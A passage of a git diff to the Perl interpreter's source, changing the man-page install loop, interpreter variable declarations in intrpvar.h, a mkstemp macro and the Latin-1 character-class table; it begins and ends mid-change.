($opts{man1dir} ne '') { - my $has_man1dir = -d $opts{man1dir}; - my $fh = open_or_die('utils.lst'); - while (<$fh>) { - next if /^#/; - chomp; - my ($path, $leaf) = m|^(\S*/(\S+))|; - # Have we already installed the manpage for this? (eg perldoc) - next if $man1{$leaf}; - pod2man({$leaf, $path}, $opts{man1dir}, $opts{man1ext}); - if ($has_man1dir) { - if (my ($link) = m|#.*link\s*=\s*\S+/(\S+)|) { - my $old = "$opts{man1dir}/$leaf.$opts{man1ext}"; - my $new = "$opts{man1dir}/$link.$opts{man1ext}"; - unlink($new); - link($old, $new); - $old =~ s/^\Q$opts{destdir}\E// if $opts{destdir}; - $new =~ s/^\Q$opts{destdir}\E// if $opts{destdir}; - $packlist->{$new} = { from => $old, type => 'link' }; - } +my $has_man1dir = $opts{man1dir} ne '' && -d $opts{man1dir}; +my $fh = open_or_die('utils.lst'); +while (<$fh>) { + next if /^#/; + chomp; + my ($path, $leaf) = m|^(\S*/(\S+))|; + # Have we already installed the manpage for this? (eg perldoc) + next if $man1{$leaf}; + pod2man({$leaf, $path}, $opts{man1dir}, $opts{man1ext}); + if ($has_man1dir) { + if (my ($link) = m|#.*link\s*=\s*\S+/(\S+)|) { + my $old = "$opts{man1dir}/$leaf.$opts{man1ext}"; + my $new = "$opts{man1dir}/$link.$opts{man1ext}"; + unlink($new); + link($old, $new); + $old =~ s/^\Q$opts{destdir}\E// if $opts{destdir}; + $new =~ s/^\Q$opts{destdir}\E// if $opts{destdir}; + $packlist->{$new} = { from => $old, type => 'link' }; } } - close $fh or my_die("close 'utils.lst': $!"); } +close $fh or my_die("close 'utils.lst': $!"); sub pod2man { my($modpods, $mandir, $manext, $where) = @_; diff --git a/installperl b/installperl index 3bf79d2d6fc1..af61203e72dc 100755 --- a/installperl +++ b/installperl @@ -11,8 +11,8 @@ BEGIN { } use strict; -our ($Is_VMS, $Is_W32, $Is_OS2, $Is_Cygwin, $Is_Darwin, $Is_NetWare, $Is_AmigaOS, - %opts, $packlist); +use vars qw($Is_VMS $Is_W32 $Is_OS2 $Is_Cygwin $Is_Darwin $Is_NetWare $Is_AmigaOS + %opts $packlist); my $versiononly; BEGIN { diff --git a/intrpvar.h b/intrpvar.h index f7b6ee326e65..d203855314d8 100644 --- a/intrpvar.h +++ b/intrpvar.h @@ -158,26 +158,12 @@ C<&PL_sv_no>. This is the C SV. See C>. Always refer to this as C<&PL_sv_yes>. -=for apidoc Amn|SV|PL_sv_zero -This readonly SV has a zero numeric value and a C<"0"> string value. It's -similar to C> except for its string value. Can be used as a -cheap alternative to C for example. Always refer to this as -C<&PL_sv_zero>. Introduced in 5.28. - =cut */ -#ifdef MULTIPLICITY -PERLVAR(I, sv_yes, SV) PERLVAR(I, sv_undef, SV) PERLVAR(I, sv_no, SV) -PERLVAR(I, sv_zero, SV) -#else -/* store the immortals as an array to ensure they are contiguous in - * memory: makes SvIMMORTAL_INTERP(sv) possible */ -PERLVARA(I, sv_immortals, 4, SV) -#endif - +PERLVAR(I, sv_yes, SV) PERLVAR(I, padname_undef, PADNAME) PERLVAR(I, padname_const, PADNAME) PERLVAR(I, Sv, SV *) /* used to hold temporary values */ @@ -202,6 +188,7 @@ PERLVAR(I, na, STRLEN) /* for use in SvPV when length is Not Applicable */ /* stat stuff */ +PERLVAR(I, statbuf, Stat_t) PERLVAR(I, statcache, Stat_t) /* _ */ PERLVAR(I, statgv, GV *) PERLVARI(I, statname, SV *, NULL) @@ -262,11 +249,6 @@ PERLVAR(I, exit_flags, U8) /* was exit() unexpected, etc. */ PERLVAR(I, utf8locale, bool) /* utf8 locale detected */ PERLVAR(I, in_utf8_CTYPE_locale, bool) PERLVAR(I, in_utf8_COLLATE_locale, bool) -#if defined(USE_ITHREADS) && ! defined(USE_THREAD_SAFE_LOCALE) -PERLVARI(I, lc_numeric_mutex_depth, int, 0) /* Emulate general semaphore */ -#endif -PERLVARA(I, locale_utf8ness, 256, char) - #ifdef USE_LOCALE_CTYPE PERLVAR(I, warn_locale, SV *) #endif @@ -461,6 +443,8 @@ PERLVARI(I, curcopdb, COP *, NULL) PERLVAR(I, filemode, int) /* so nextargv() can preserve mode */ PERLVAR(I, lastfd, int) /* what to preserve mode on */ PERLVAR(I, oldname, char *) /* what to preserve mode on */ +PERLVAR(I, Argv, const char **) /* stuff to free from do_aexec, vfork safe */ +PERLVAR(I, Cmd, char *) /* stuff to free from do_aexec, vfork safe */ /* Elements in this array have ';' appended and are injected as a single line into the tokeniser. You can't put any (literal) newlines into any program you stuff in into this array, as the point where it's injected is expecting @@ -560,7 +544,7 @@ PERLVAR(I, sighandlerp, Sighandler_t) PERLVARA(I, body_roots, PERL_ARENA_ROOTS_SIZE, void*) /* array of body roots */ -PERLVAR(I, debug, volatile U32) /* flags given to -D switch */ +PERLVAR(I, debug, VOL U32) /* flags given to -D switch */ PERLVARI(I, padlist_generation, U32, 1) /* id to identify padlist clones */ @@ -578,15 +562,7 @@ PERLVAR(I, constpadix, PADOFFSET) /* lowest unused for constants */ PERLVAR(I, padix_floor, PADOFFSET) /* how low may inner block reset padix */ -#if defined(USE_POSIX_2008_LOCALE) \ - && defined(USE_THREAD_SAFE_LOCALE) \ - && ! defined(HAS_QUERYLOCALE) - -PERLVARA(I, curlocales, 12, char *) - -#endif #ifdef USE_LOCALE_COLLATE - PERLVAR(I, collation_name, char *) /* Name of current collation */ PERLVAR(I, collxfrm_base, Size_t) /* Basic overhead in *xfrm() */ PERLVARI(I, collxfrm_mult,Size_t, 2) /* Expansion factor in *xfrm() */ @@ -599,11 +575,6 @@ PERLVARI(I, collation_standard, bool, TRUE) /* Assume simple collation */ #endif /* USE_LOCALE_COLLATE */ -PERLVARI(I, langinfo_buf, char *, NULL) -PERLVARI(I, langinfo_bufsize, Size_t, 0) -PERLVARI(I, setlocale_buf, char *, NULL) -PERLVARI(I, setlocale_bufsize, Size_t, 0) - #ifdef PERL_SAWAMPERSAND PERLVAR(I, sawampersand, U8) /* must save all match strings */ #endif @@ -626,25 +597,40 @@ PERLVARI(I, perl_destruct_level, signed char, 0) #ifdef USE_LOCALE_NUMERIC PERLVARI(I, numeric_standard, int, TRUE) - /* Assume C locale numerics */ -PERLVARI(I, numeric_underlying, bool, TRUE) - /* Assume underlying locale numerics */ -PERLVARI(I, numeric_underlying_is_standard, bool, TRUE) + /* Assume simple numerics */ +PERLVARI(I, numeric_local, bool, TRUE) + /* Assume local numerics */ PERLVAR(I, numeric_name, char *) /* Name of current numeric locale */ PERLVAR(I, numeric_radix_sv, SV *) /* The radix separator if not '.' */ -# ifdef HAS_POSIX_2008_LOCALE - -PERLVARI(I, underlying_numeric_obj, locale_t, NULL) - -# endif #endif /* !USE_LOCALE_NUMERIC */ /* Unicode inversion lists */ +PERLVAR(I, Latin1, SV *) +PERLVAR(I, UpperLatin1, SV *) /* Code points 128 - 255 */ +PERLVAR(I, AboveLatin1, SV *) PERLVAR(I, InBitmap, SV *) +PERLVAR(I, NonL1NonFinalFold, SV *) +PERLVAR(I, HasMultiCharFold, SV *) + /* utf8 character class swashes */ PERLVAR(I, utf8_mark, SV *) +PERLVAR(I, utf8_toupper, SV *) +PERLVAR(I, utf8_totitle, SV *) +PERLVAR(I, utf8_tolower, SV *) +PERLVAR(I, utf8_tofold, SV *) +PERLVAR(I, utf8_charname_begin, SV *) +PERLVAR(I, utf8_charname_continue, SV *) + +PERLVARA(I, utf8_swash_ptrs, POSIX_SWASH_COUNT, SV *) +PERLVARA(I, Posix_ptrs, POSIX_CC_COUNT, SV *) +PERLVARA(I, XPosix_ptrs, POSIX_CC_COUNT, SV *) +PERLVAR(I, GCB_invlist, SV *) +PERLVAR(I, LB_invlist, SV *) +PERLVAR(I, SB_invlist, SV *) +PERLVAR(I, WB_invlist, SV *) +PERLVAR(I, Assigned_invlist, SV *) PERLVAR(I, seen_deprecated_macro, HV *) PERLVAR(I, last_swash_hv, HV *) @@ -714,6 +700,13 @@ PERLVARI(I, known_layers, PerlIO_list_t *, NULL) PERLVARI(I, def_layerlist, PerlIO_list_t *, NULL) #endif +PERLVAR(I, utf8_idstart, SV *) +PERLVAR(I, utf8_idcont, SV *) +PERLVAR(I, utf8_xidstart, SV *) +PERLVAR(I, utf8_perl_idstart, SV *) +PERLVAR(I, utf8_perl_idcont, SV *) +PERLVAR(I, utf8_xidcont, SV *) + PERLVAR(I, sort_RealCmp, SVCOMPARE_t) PERLVARI(I, checkav_save, AV *, NULL) /* save CHECK{}s when compiling */ @@ -753,6 +746,14 @@ PERLVAR(I, registered_mros, HV *) /* Compile-time block start/end hooks */ PERLVAR(I, blockhooks, AV *) +/* Everything that folds to a given character, for case insensitivity regex + * matching */ +PERLVARI(I, utf8_foldclosures, HV *, NULL) + +/* List of characters that participate in folds (except marks, etc in + * multi-char folds) */ +PERLVARI(I, utf8_foldable, SV *, NULL) + PERLVAR(I, custom_ops, HV *) /* custom op registrations */ PERLVAR(I, Xpv, XPV *) /* (unused) held temporary value */ @@ -811,15 +812,7 @@ PERLVARA(I, op_exec_cnt, OP_max+2, UV) /* Counts of executed OPs of the given ty PERLVAR(I, random_state, PL_RANDOM_STATE_TYPE) -PERLVARI(I, dump_re_max_len, STRLEN, 60) - -/* For internal uses of randomness, this ensures the sequence of - * random numbers returned by rand() isn't modified by perl's internal - * use of randomness. - * This is important if the user has called srand() with a seed. - */ - -PERLVAR(I, internal_random_state, PL_RANDOM_STATE_TYPE) +PERLVARI(I, dump_re_max_len, STRLEN, 0) /* If you are adding a U8 or U16, check to see if there are 'Space' comments * above on where there are gaps which currently will be structure padding. */ diff --git a/invlist_inline.h b/invlist_inline.h index 3a1afc695dc9..4ce04f908735 100644 --- a/invlist_inline.h +++ b/invlist_inline.h @@ -6,7 +6,7 @@ * License or the Artistic License, as specified in the README file. */ -#if defined(PERL_IN_UTF8_C) || defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C) || defined(PERL_IN_TOKE_C) +#if defined(PERL_IN_UTF8_C) || defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C) /* An element is in an inversion list iff its index is even numbered: 0, 2, 4, * etc */ diff --git a/iperlsys.h b/iperlsys.h index ee2c503dff53..86ab687fce91 100644 --- a/iperlsys.h +++ b/iperlsys.h @@ -760,6 +760,7 @@ struct IPerlLIOInfo # define PerlLIO_lstat(name, buf) PerlLIO_stat((name), (buf)) #endif #define PerlLIO_mktemp(file) mktemp((file)) +#define PerlLIO_mkstemp(file) mkstemp((file)) #define PerlLIO_open(file, flag) open((file), (flag)) #define PerlLIO_open3(file, flag, perm) open((file), (flag), (perm)) #define PerlLIO_read(fd, buf, count) read((fd), (buf), (count)) diff --git a/l1_char_class_tab.h b/l1_char_class_tab.h index 9e8bb99a3436..df736642f723 100644 --- a/l1_char_class_tab.h +++ b/l1_char_class_tab.h @@ -1,6 +1,6 @@ /* -*- buffer-read-only: t -*- * !!!!!!! DO NOT EDIT THIS FILE !!!!!!! - * This file is built by regen/mk_PL_charclass.pl from Unicode::UCD. + * This file is built by regen/mk_PL_charclass.pl from property definitions. * Any changes made here will be lost! */ @@ -15,13 +15,13 @@ /* U+04 EOT */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* U+05 ENQ */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* U+06 ACK */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), -/* U+07 BEL */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_MNEMONIC_CNTRL)|(1U<<_CC_QUOTEMETA), -/* U+08 BS */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_MNEMONIC_CNTRL)|(1U<<_CC_QUOTEMETA), -/* U+09 HT */ (1U<<_CC_ASCII)|(1U<<_CC_BLANK)|(1U<<_CC_CNTRL)|(1U<<_CC_MNEMONIC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE), -/* U+0A LF */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_MNEMONIC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE)|(1U<<_CC_VERTSPACE), +/* U+07 BEL */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_MNEMONIC_CNTRL), +/* U+08 BS */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_MNEMONIC_CNTRL), +/* U+09 HT */ (1U<<_CC_ASCII)|(1U<<_CC_BLANK)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE)|(1U<<_CC_MNEMONIC_CNTRL), +/* U+0A LF */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE)|(1U<<_CC_VERTSPACE)|(1U<<_CC_MNEMONIC_CNTRL), /* U+0B VT */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE)|(1U<<_CC_VERTSPACE), -/* U+0C FF */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_MNEMONIC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE)|(1U<<_CC_VERTSPACE), -/* U+0D CR */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_MNEMONIC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE)|(1U<<_CC_VERTSPACE), +/* U+0C FF */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE)|(1U<<_CC_VERTSPACE)|(1U<<_CC_MNEMONIC_CNTRL), +/* U+0D CR */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE)|(1U<<_CC_VERTSPACE)|(1U<<_CC_MNEMONIC_CNTRL), /* U+0E SO */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* U+0F SI */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* U+10 DLE */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), @@ -35,7 +35,7 @@ /* U+18 CAN */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* U+19 EOM */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* U+1A SUB */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), -/* U+1B ESC */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_MNEMONIC_CNTRL)|(1U<<_CC_QUOTEMETA), +/* U+1B ESC */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_MNEMONIC_CNTRL), /* U+1C FS */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* U+1D GS */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* U+1E RS */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), @@ -73,64 +73,64 @@ /* U+3E '>' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* U+3F '?' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* U+40 '@' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), -/* U+41 'A' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* U+42 'B' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* U+43 'C' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* U+44 'D' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* U+45 'E' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* U+46 'F' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), -/* U+47 'G' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+48 'H' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+49 'I' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+4A 'J' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+4B 'K' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+4C 'L' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+4D 'M' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+4E 'N' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+4F 'O' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+50 'P' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+51 'Q' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+52 'R' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+53 'S' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+54 'T' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+55 'U' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+56 'V' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+57 'W' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+58 'X' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+59 'Y' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+5A 'Z' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), +/* U+41 'A' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+42 'B' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+43 'C' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+44 'D' */ 